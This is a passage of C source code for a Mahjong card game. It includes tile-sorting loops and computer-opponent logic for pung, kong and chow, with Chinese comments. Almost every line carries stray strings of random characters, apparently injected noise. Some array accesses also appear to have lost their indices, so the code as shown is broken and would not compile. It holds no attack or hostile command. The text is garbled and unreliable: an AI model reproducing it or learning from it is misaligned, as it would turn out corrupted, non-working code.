  P4 F& }1 o" p, bcomputer.pp[n].number=computer.pp[j+1].number;: b; [- g% Y# M; H; J
computer.pp[j+1].number=u;7 H/ C. w: `1 J6 B0 {) m9 d
}; T0 E' s2 n6 Q; n
}3 C0 [0 I3 Y3 B/ g/ d$ q
}# X$ `# z" ^) R9 ?: }$ \
void melipai()+ d1 o6 o( d; a
{ int n,j,u;
+ t% s; n4 _: Z7 a7 Y9 e+ z: W2 G+ k7 yint *lingshi;4 ]: k* c* C" f  u7 D% A, S; F
for(n=0;n&lt;me.m;n++)! Y& `. S5 y/ s/ t
for(j=n;j&lt;me.m;j++): H$ i% E4 U$ h$ S! p" J5 D& |/ b
{8 q0 Q! s& [0 _. G. N+ ^
if(me.pp[n].number&gt;me.pp[j+1].number): M! ^4 t# `. _6 x# c
{
+ T4 ^+ u" ^" A$ v. e  ^; Xlingshi=me.pp[n].k;
: t/ i: P6 O# r$ x' n* D( ?9 Vme.pp[n].k=me.pp[j+1].k;' A$ U9 L8 p# k+ [# p2 ~: r
me.pp[j+1].k=lingshi;2 s) N2 v" g+ N' t
u=me.pp[n].oneorfour;
, E+ b/ D# r: P) ?7 k  e, E5 ume.pp[n].oneorfour=me.pp[j+1].oneorfour;
) k/ ], _8 g- L+ i+ Mme.pp[j+1].oneorfour=u;
7 m3 p" ~. {" t0 hu=me.pp[n].number;
" I/ A* r$ D9 f2 L# s1 Nme.pp[n].number=me.pp[j+1].number;5 @  F8 o+ z5 O1 i* A1 L5 G+ f
me.pp[j+1].number=u;1 A- w# y, f# Q: {- Z
}" L; w/ g6 N+ _& s; Q& Y' J5 `. ~
else$ g  K$ x. W$ `2 I$ E
if(me.pp[n].number==me.pp[j+1].number)0 ]+ b! Z" e) R! K- M) n0 V# Q
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)$ [+ O) t2 r; \, Q  ?" W& Y
{3 H" `7 d9 N& M: R
lingshi=me.pp[n].k;6 U9 t4 |% A2 I, N9 u2 M3 a
me.pp[n].k=me.pp[j+1].k;" D8 R- I% K* D  q; d% D2 v) G
me.pp[j+1].k=lingshi;
* x/ |6 N8 {( q' ]2 Q/ o* q0 ?' su=me.pp[n].oneorfour;
* ]9 Y! V  P9 h% {6 r: h' qme.pp[n].oneorfour=me.pp[j+1].oneorfour;
  a8 f3 ^$ T5 b6 ]( H& z( P8 _me.pp[j+1].oneorfour=u;
  f; i" f8 }6 j. g' i4 Su=me.pp[n].number;
  ^+ A. J2 X4 S& C1 e7 Jme.pp[n].number=me.pp[j+1].number;
1 `) k! T# M5 T: W/ j0 R; Xme.pp[j+1].number=u;
. Q5 U8 A  i$ S' [: S& H7 a}
2 P4 O0 ~1 k5 K  {}8 F' a8 x8 S3 O2 S0 w& Z+ Q/ Z- W# P
}
- ]2 j" a4 M% p$ o3 F5 gvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
) f  F8 u7 d; H" i9 R# W/ G{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;% x- _* U, J9 Z3 g
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)4 R& [( c; g1 v$ _6 t, f
{. @0 l, p- a$ q, F2 Y6 s+ ]( u
logo=1;+ _: ?. [7 u% [9 P
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
1 o% e3 n- A9 Z; elogoo=1;
" L' q- W( X. @4 p5 oelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4), `; P  D$ }$ p
logoo=2;. o( M, R6 l9 V+ r( k3 F0 n4 j& l. H  [
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
4 B1 S" \1 U4 a+ n) p5 u4 Glogoo=3;
% @5 J" n$ @" H" L6 f/ r( kelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12), D7 \( @% \, ?1 R# S! p# Z
logoo=4;" S- a& H& b5 F9 ~0 g  f
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)) P# Z9 H1 r3 d
logoo=5;( l: _  M2 \' w: F
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
5 @% @; k/ |3 e/ Dlogoo=6;
2 S, M! Q0 h6 \0 W+ I7 `: a& _else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24): A4 m  r9 |! K3 T" t* K
logoo=7;
* @; y) D4 E1 I- qelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)# l& ~) j, X! o
logoo=8;
" q( w3 ^3 r& M$ celse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)) D/ a1 H& Z8 [& v; R8 S$ Y
logoo=9;
; }+ X% h, Z* f$ y7 X}
9 F! i5 E7 b- d0 a/ t* G6 @$ Felse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
1 e0 }9 ^5 \+ c1 {{- }1 p; ^  f3 R, k" [3 k
logo=2;' c2 B$ i% n* d( _9 \( b, {
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
9 U& z3 o( _8 p6 ~5 |; ulogoo=1;1 I' }4 t4 K5 c9 T% p+ Q
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
+ P( W8 f2 C# I( D# }5 N0 V" ulogoo=2;5 }. ~" m. W! |$ S: A! P
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
' z/ f6 q5 v2 E+ K# ~. u; Dlogoo=3;
, j. v) W2 Z+ z3 melse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48); s% V# m! Y+ z
logoo=4;
5 ]; H+ v) m1 p% F1 J% T! \else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
  n6 Y" O$ h. u. |& Rlogoo=5;
% V) w2 e$ |" X9 Welse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
7 r; c. v) F1 Z1 Zlogoo=6;
0 L+ k* n4 O! @  E( e& ?else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)7 Y/ L: H) z# h5 G
logoo=7;" D' I& b6 q, p5 T; _- r5 k
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
+ ]5 n0 D3 ]3 o3 S9 I7 Dlogoo=8;1 X) }3 u$ e! M' j8 O# i
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)0 }- T" N; M& x" i, I2 I; Q
logoo=9;
5 l0 T: ]0 H/ L4 G# H, c}
/ ?# |2 J( ?+ W& ~1 aelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72), X7 U, H, K2 m, {& |' s# l
{& N6 }3 [! s3 u5 b
logo=3;$ ~7 C/ s6 t; R/ U! m# o
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72); l5 s) j4 c6 h/ _" m# F
logoo=1;, N) B4 x2 ?9 o5 J5 N8 c! V7 s# t  \
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
# `. B$ B2 R  O. [4 V2 R: |logoo=2;
$ v, q- a+ t/ l$ yelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
& x# |7 e! X: alogoo=3;! l2 g8 _5 ^/ F/ [0 a& U2 b
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)' u3 C* ?7 g$ ]& o( g
logoo=4;
$ c% t: k, n. \' [else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
3 a: e1 b' h7 c& I8 }; T* Klogoo=5;
) Z; O2 R% v% o0 [, z+ R5 N1 A- `else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
! R; Q; l' K; y0 elogoo=6;* ~+ C1 {+ \, W8 P+ K
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)4 D& }, ]5 X- m# Y
logoo=7;& j. I  Q7 K9 E: w
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)- P, R9 ^& J% E$ Y- k
logoo=8;3 U1 {; G5 C( e4 o" V; n# S4 m
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)" ^3 T# S# f* p0 a# _
logoo=9;
/ i! p; t6 L* s}% P% R8 ]1 Y2 t
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
5 |/ c+ p4 |4 p9 S" U{9 |" p( `' N1 `. H+ f( x6 w
logo=4;2 A( U: q- I6 e! e# A
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
* g% y  o, o* a" M8 u4 p9 Hlogoo=1;+ u3 B9 m1 a: h3 Z& W/ r& M! i8 N  I
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
) ]$ w3 z6 i. N1 P% jlogoo=2;  K2 S, ~& V% R9 a; y$ I
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
; J7 W0 p0 e+ [3 L; s# x5 \* zlogoo=3;
, g5 }! {) e+ u  A, Felse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)% r8 m2 g, [% h; S! b1 \  X4 |
logoo=4;1 k# g* D2 d: p' V. X# p* u
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
% X+ J; r8 L& X' ^9 ]0 ]logoo=5;
2 Q" Y$ Q5 d5 _; w1 H  C# U; y7 ?+ Xelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
' i% N3 y8 O4 r1 l3 U1 Klogoo=6;) x/ t$ C1 K0 \! v- R8 O
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
1 k% U7 I5 f" k) B6 ]  r- }logoo=7;% ^, M) f; b. X# O( G" f5 s
}; r" K# v0 U8 K
while(b&lt;=computer.m)( x7 H1 x; F: K6 K
{
. V/ I5 Y% ^4 v1 |/ v/ Zif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
! {2 M/ [5 ^8 {& C2 k( b{
$ t5 s. t4 u2 _9 K5 ?0 Wlg=1;
! ?/ c$ `5 `0 o7 n( K8 h! }3 Ccomputer.pp.d[0]=1;& O. E( M# t; ?& M' m
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)6 W  Z7 g; T2 i% n( g" ^" Y8 j4 Q
{# }5 ~8 y, S2 [  O
lgg=1;+ L+ |0 ]+ v% Z1 C! K
computer.pp.d[1]=1;
; k7 }7 B) s5 d, K- p0 w8 \! v5 m* ^}  R1 I5 ]5 w1 t9 C$ Q: t
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
3 E& B; Z/ f# }3 j# z- Z{" E$ Q* s0 j' w& a- H# n) Z
lgg=2;- R! B( s4 y+ \3 A
computer.pp.d[1]=2;( R4 J1 i5 m, ^. B
}$ j% ]8 M# b8 o; y' i! I% n; {0 f
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)7 S+ V- l$ \' F* w+ A
{
. v2 Q/ \! C- v! H& e' C) clgg=3;' W9 b' Z3 a( e4 U- Z
computer.pp.d[1]=3;& F# s: O: D5 {6 {0 M
}* W' j2 _; _% D: }6 T& c$ c
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12); k. Z1 o) v. G
{3 r  P" [! ]% F1 O, t
lgg=4;
2 q! p8 X+ d: R. ~' pcomputer.pp.d[1]=4;
% H' D( @; A) G" [# S& R}7 n5 ]5 w4 E$ n4 N2 C# f  I! ?
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)' T4 ?  G$ h4 ^1 B$ U( ^
{
7 h- {! q! P/ ^lgg=5;1 w# S' _' S0 A5 |
computer.pp.d[1]=5;
5 a* o1 R  G# `7 c6 z; F}  I3 d  I2 V7 C" V
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)9 S$ D  |  ^9 _$ s% [
{
2 P8 _0 W0 l/ o7 B4 Dlgg=6;2 I- o; ~, w# p" g7 \
computer.pp.d[1]=6;
8 D. I' f. F" T! Q) ]3 w0 V}
/ s0 F& Q, `; G- r: h  P6 Telse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)0 ^- v. ~( h0 ?/ M8 ^
{
) ^* ~4 M, V+ Q4 F# s, z& V0 S; y& algg=7;
4 P% e3 }& C& xcomputer.pp.d[1]=7;' S1 r+ D" A" }# l, a3 `: g
}
: y' H  @+ ?  W  _( a4 ^else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)9 K  M' g7 R7 [
{
; Y3 n! o: [0 E! ~+ hlgg=8;
' ?: y5 J) i* L0 ucomputer.pp.d[1]=8;
# D: G. [: y1 R. G}' }2 I) l. B4 n) _( k( M# q4 F
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)/ Z9 O/ l1 D6 Q0 T
{5 H) f( y( N2 N6 H! j
lgg=9;3 b# b0 T2 |8 M8 I0 ]# a
computer.pp.d[1]=9;
3 J: C" @) Y/ j}9 Q% S; K+ k. Q9 B) U
}
0 u  d! D8 Z1 @3 Velse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
8 n7 j! u5 [/ a{
1 \1 h6 k: s  wlg=2;
. u8 f/ g7 F! H) U' S% c* E% fcomputer.pp.d[0]=2;- k# p/ l" v+ s) S( ?
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)$ C9 e1 @3 t' U& d3 X/ O- }7 t
{3 a+ _2 r% i+ Y$ @9 b
lgg=1;" `2 K4 g& a* S- }* w
computer.pp.d[1]=1;* G6 e  v0 f  i2 \6 n7 ^
}) D/ K8 C* |7 q# w* R8 A, ?
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
3 ]3 B  X& S6 Z/ `3 u, N{, L( Q$ h8 h$ y* ]% ^
lgg=2;6 y" R) |9 N% z% r
computer.pp.d[1]=2;# D) q0 x; p2 E$ ?  s  z
}
% B' d: H+ q% d4 X6 n7 K8 E8 `else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)# N8 @  t) Q  j6 l& }5 y1 [5 ^1 y
{
# ]& ^. n! B$ N! ^' n& p+ g; Rlgg=3;- R  F4 H) M( x9 }4 g
computer.pp.d[1]=3;4 j0 x) C5 I8 W- J9 c  b3 Z
}
3 S8 l9 \' F( {, Pelse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
! |- w  r  o) O% b" [{6 ^- Y! ?9 }! c
lgg=4;
( N# D( H7 ]1 Y; t9 |computer.pp.d[1]=4;
# D' x6 w$ O3 x}
* R+ F: R, k. X! {$ d; H- Nelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)6 q, s7 o+ J( x+ u6 c7 D' l
{
( \, @" Z; m# H  y  N2 Plgg=5;
7 X0 k- a- \9 r, a( Y1 W( Ncomputer.pp.d[1]=5;
, d. {. @. h% c- n; V}/ M5 V+ }( u2 N4 q  L* b6 G2 A" B
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)! H6 y1 a$ G3 {! I1 @
{( X+ Y; C$ @% z
lgg=6;; r6 M, u0 _: W
computer.pp.d[1]=6;1 K5 G8 n- Y# ]
}
4 O, K. @0 n4 Lelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
  ~$ ?6 P( _7 ~, i- b& ~5 `& q& a{
: ^$ ~8 j0 B- J# q( F+ Blgg=7;( [- D3 J% z+ R! Q6 i
computer.pp.d[1]=7;
) E4 Q3 |! p6 d" }+ x/ Y" ?/ u}
. G  @# ~/ i; K" m# X" Helse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
6 l4 Y. |3 o& V/ i8 m{
4 N1 O$ X3 m4 w6 y4 k: clgg=8;
2 E- u% B) j" }6 R# v4 x6 wcomputer.pp.d[1]=8;9 W" ]6 R/ Q* Z8 t% j8 p, q
}
; t% y7 W, M" g- `8 k. Eelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)" O5 p2 L% C; V( Y
{" C( F6 V1 P7 F
lgg=9;
" ^# ^' |1 @. W% y1 }computer.pp.d[1]=9;% u& H2 U& w% p4 z5 `
}
- Z1 i6 X( s$ q+ ?) [: z; t2 y# Y}2 G2 S7 e, k# I9 f! V' c2 c
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)8 n& x; D; m/ `+ K  T
{
! }0 g/ d( x/ ~/ j1 S% X6 P! ilg=3;7 v5 c7 P8 ~- X- p
computer.pp.d[0]=3;
/ P; t+ P! b) y& `5 L2 m* ~) Eif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
  _; c1 g1 G( |7 o) d{
) \, P% I% w, B" s" ?+ J2 plgg=1;
( L% k* N6 n- L6 n* n; G5 I# Dcomputer.pp.d[1]=1;
- ~9 D. [& K' r) V( {7 t& u}
% k+ R- w* _# ]+ N+ m0 Y- melse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)' p8 s5 g% \) o6 X) z2 z2 |
{1 P5 b( m" Q) f$ {7 [
lgg=2;# r! c$ H; t$ ?- N: P2 }: q! ]
computer.pp.d[1]=2;
7 \9 I$ v+ }2 e( T5 y0 z}
8 H% v! ?  W! q8 i% g8 \& ~# Eelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)2 J4 W0 _! M. P3 I' z- [
{  s( {. L" @5 l- G. h1 a% X. A
lgg=3;
& X, j: b& r' W$ Ucomputer.pp.d[1]=3;. }* U+ h" \+ B7 I( t0 @
}
+ k! a6 ~- L- }* W( Q0 aelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)8 W3 @0 r! p1 |5 o
{# A9 U! T1 b& E9 w. v2 t% H$ H- S
lgg=4;2 W2 h  ]/ k! r  s0 K
computer.pp.d[1]=4;
( T' f5 d! U* ^/ f8 R8 l}
5 D5 Y1 C! T$ V/ s0 pelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
& m1 ~2 z/ n# J7 R8 `{; L! L: {5 G2 [
lgg=5;
9 M3 D" ]9 b' `computer.pp.d[1]=5;
2 H7 b! ~0 F; F}1 S( l( ~  W% `3 X
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
3 C; E/ A/ N- o, f9 x2 z# U& O, ?{
, x' }  y0 Y; B4 \; \+ @lgg=6;* Z$ `$ U- H1 ^7 s/ I
computer.pp.d[1]=6;3 {, m9 l# z- E4 }
}
9 d+ M( Q2 S, ]' F/ E9 Qelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
0 C9 N' U2 W5 Z; T9 q5 U{& Y8 @$ h$ q& @3 {( x, P
lgg=7;
1 \, k' A! d: dcomputer.pp.d[1]=7;/ b# {; u8 R* i- Z; X7 T+ T9 q! p
}
: k9 f* p- d, n/ i- K! w  N: H7 Telse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
& Q0 k9 y* O( ]) _4 O5 }7 M7 K& j{  R, q. u$ Y2 j: a! p+ ]2 y
lgg=8;; q4 a8 }, k7 z  ]: o
computer.pp.d[1]=8;5 `& w1 K; b8 S2 W# u
}5 g+ r, {, c: h3 Y% y
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)3 ?3 B% s3 Z+ r5 |% b8 _6 S5 w
{
9 t  J* S3 `! I+ y' ?. Z- Glgg=9;  I  D9 K4 h1 V* k5 M
computer.pp.d[1]=9;/ e4 o) Y9 R0 n% h2 i+ F" l
}+ l. S. C0 t1 \, Y4 [: O6 y
}) Z  q  X$ `6 N/ t8 g
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
' O8 Z; Q6 d' |2 E{. F9 n8 _# p+ Y$ s
lg=4;
6 q4 Q9 L1 `+ X: Ncomputer.pp.d[0]=4;
! S8 V1 H- v0 [; Pif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
0 [0 g% M( b- P" x9 L- y1 z{
& o/ i& B# M% u) I* x0 Llgg=1;6 ?3 F8 i* U. R5 F
computer.pp.d[1]=1;: z7 A2 X* J# m% R% F$ M9 q
}9 s8 I' B6 F! C
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
: ~4 F% h5 H3 J# }+ T{3 T4 s2 _$ e# d) p, K
lgg=2;+ Q! I/ c$ i0 r6 H( n# t5 Z. x
computer.pp.d[1]=2;
  q& i& v5 A7 P: B+ b2 Q6 p, ]6 P& [}. K9 Q9 c' V. q* V
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)+ @( E4 p4 j% ^- |
{4 |# m; H$ h- ^4 A* t0 R
lgg=3;
1 [1 T* T$ N  i& [) n" |& o6 ^  T# Acomputer.pp.d[1]=3;: p  u) i3 o2 S( ?5 o( f, C; e
}, f  p$ c  l. s9 ?/ m
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
1 l6 {* f9 j* d: g{
7 \+ i6 x" N5 C) g  b) Glgg=4;& \) q8 k8 @  S1 t
computer.pp.d[1]=4;
; W3 K/ ~. Y" }* ]}" i% o! w/ H# g" e! W
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
- g# \* K" `' [* O{1 D7 P* R! \; F( T& o# D6 W9 `
lgg=5;
; y& U) `) N. n0 Q  bcomputer.pp.d[1]=5;! G1 Y  J/ W5 c; U4 [: U
}, S* x" G+ K* \1 t* R3 U* c4 m
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
1 Q- x  X2 F4 c6 {% l/ |{4 f. A+ C8 l- ]( d, g0 X9 c: u
lgg=6;. z" u. t6 P& K) v! j$ q5 n+ y
computer.pp.d[1]=6;1 O: R2 f1 R' r8 B8 y
}
' B, G  v* U: K7 |% o5 delse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
9 b. ^4 m! v' Q/ \{
1 k' s4 u$ A( K  e# slgg=7;5 D7 \. K+ t* q
computer.pp.d[1]=7;
3 G6 ?9 ]5 Z" d/ e9 T}
! R; s3 O( E; X) [}" l8 r+ Z+ `% n/ g  ?
+ t0 |/ ~. I; ]4 ?7 w
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/2 z6 \, H- r+ s
if(logoo==lgg)0 B  E" a0 K' u4 m1 O
pg++;
8 Q+ o: X! K: V- Z0 X2 zch.lg=lg; /*保存电脑手里的每张牌的信息*/3 X/ |) L' N  F7 g( I% v
ch.lgg=lgg;
+ I) q" {, j+ f- k" {lg=0;1 l3 C8 h, @4 L, Q" |3 C2 z" q% J
lgg=0;
8 C$ C  e9 A) D# Xb++;; U5 v. Z% F6 ^4 G% |& [! ?  l
}: A. A2 N8 \, _" `* z
if(pg==2) /*乓*/+ ]; D' C% H1 J% ^; n1 b
{
2 E* g2 k5 N4 y  P
: e+ U) k) C' x( m) ]- E  t$ j) ysing=1;
( k0 [1 d- D# B9 P0 j" ]- S$ t5 tb=computer.m;
2 M- X. d( X- l0 U5 hwhile(b!=-1)5 M( P" p6 t, m3 V4 y, y/ n* |8 Z' M. K
{9 g9 ]) M  x2 t# H  Q3 M4 l
if(strcmp(me.pp[c].k,computer.pp.k)==0)
7 i4 w5 {% Z3 K% @" Y1 ucomputer.pp.p=1;1 L8 u. a4 |; K- L& J9 E" M: V  s  Y
% I% E) k/ H% K9 n2 B; E
b--;1 Y1 @: c, U( `/ w2 U+ H6 f" {
}$ F! @, `. H, t$ S- y2 k  s8 X
}: H( g: F9 s+ V
if(pg==3) /*杠*/" T3 p6 F9 }. b$ V) s3 Y( C
{" ]: y8 Y1 E% [: A" M7 V% a# K" t- {
. c" T; Y7 k* P# m. }5 w
sing=2;
" C) k! a$ |# q8 s8 M% [b=computer.m;5 s2 l1 n) D: I  v  {1 k
while(b!=-1)0 e0 h. U' u. G/ D, I
{0 T" p& ~* O. {" i  G$ R. D
if(strcmp(me.pp[c].k,computer.pp.k)==0)
  }* ?' I- G! ]# rcomputer.pp.g=1;9 a6 r3 H8 R9 k" M1 ]
b--;( N. H% i% [9 m1 `3 M  T  d$ `
}: z; c, t4 S% r7 P) d0 A7 [4 Y
}1 j0 k. Y0 N0 Q# k
f=0;
! W0 w3 [4 f, ?6 J1 s5 {while(f&lt;computer.m) /*吃的判断*/, @) C. z% P' L4 ~
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
* G; U. r9 L) o) U5 f{8 ]6 p" d" z9 f/ l
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/3 C' V! |- \# V
if(ch[f].lgg-logoo==1)' o, n; ~+ `- U$ N7 h1 Z# W' y
{) |; P% O5 }# Y# b, v4 ?
gp++;
. ]; E# P5 S/ N% C0 a9 hcomputer.pp[f].c=1;6 ^% _( j& Y0 k+ I* {
computer.pp[f+1].c=1;
3 {3 S- B  V5 L: c. _% U( L. K9 q}5 \( y! }9 A* m& z
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
- Q, ]9 C& m4 l8 ?) Rif(ch[f+1].lgg-logoo==-1), z. d, w- b6 u7 R* f, t$ l
{
1 |- G" W$ S4 o4 L4 q3 b& I6 tgp++;' J* N( E6 a9 S4 g7 Y( c
computer.pp[f].c=1;( F' ~7 f, f& \) T7 w/ |, E9 B
computer.pp[f+1].c=1;# v7 n6 I, g9 h/ q' j# K4 ~  {. `
}8 T  t1 `/ _$ k% ]
if(ch[f].lgg-logoo==-1) /*中吃*/
* V) ^9 ]- U# S2 i$ q- ^/ Xif(ch[f+1].lgg-logoo==1): s; R/ n  j3 X1 C; ^0 o
{' {4 |+ q0 J7 Q0 Y
gp++;
* O% D/ A1 m7 I7 a7 @3 A. vcomputer.pp[f].c=1;( b# A) m( l% c
computer.pp[f+1].c=1;7 q; ]8 K1 K4 w4 n7 ^9 @* Y7 q
}- ~8 O/ T/ ]$ t
if(gp==1)
9 N, l/ T. ]: r* D' [( Wbreak;
( w4 g6 [+ E+ B. w# V- S. @}. \4 l  i, h7 K% b) I
f++;
2 A( J  z! ]+ d4 l3 [* O}
9 h9 x' y* }; h: H0 R, Oif(gp==1)8 Q; K* z  T2 f. V
{sing=7;
$ R7 u0 M! T9 G3 q6 c0 z" \3 y2 U- g; P8 ~7 ^& |. o* M6 ]
}
: g* p# Z* O: }9 j# n3 @2 M1 U; Hpg=0;+ H2 R3 ?3 X4 W5 O; n! b* p& n7 ]6 A
gp=0;- I, g0 u% L$ ]% z- F4 m
b=0;+ P6 [; m$ x+ j& c1 z+ j, m
}/ q0 [) t6 m3 U0 a; O- N( p
void rgznme(int c) /*本程序涵数的核心针对我的牌*/: Y* M9 [7 j' E% }! b- |, C
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;% E3 \. o* d$ A
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
' `/ T0 [* H7 h# \3 y{( j* Z$ W/ h& J* y- L5 ^+ }- N
logo=1;
- v% T: R& N6 Eif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)/ H) g6 H" T' m3 p
logoo=1;8 |4 r; |" w1 B1 l. M2 {
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4), s9 G# @# ~# U/ q$ b9 ~" j( a
logoo=2;% u/ M1 R2 q' |) E9 k0 L; _3 {  h6 R
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
7 e+ A+ ?( j# W% D6 Flogoo=3;& B& g! E  d5 q* d4 U4 j. Y
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)6 D7 Z! ]) j6 W8 F7 n$ v" x' @
logoo=4;  J( }2 W6 c. {3 H
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
; `) I: P% l$ n1 \5 a* l; Glogoo=5;
2 j" _; a7 v7 g* q% aelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
" q; Q, d1 b; y5 I! X7 o5 z8 ]logoo=6;; Q. S4 J7 W) [. B
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)1 T/ m; N5 t5 I
logoo=7;$ @% O, S) G9 W. L% I* s9 Y
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)+ W' W. }( O) o: e7 y! \. b
logoo=8;$ B: x# ?: Y( Z6 e, ~, p# G5 `
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)" ?2 W, \  ]! {4 L
logoo=9;) c- _$ z; x0 d! N' A
}
( R9 g" `$ [4 L; Gelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)6 g5 B1 h0 l: y7 V6 S+ A
{
/ c, l7 Z: K8 w. Klogo=2;
1 E0 l% @7 K0 U0 U3 ~7 U5 Hif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
: o: |3 H  e' X. }5 d* N0 ologoo=1;
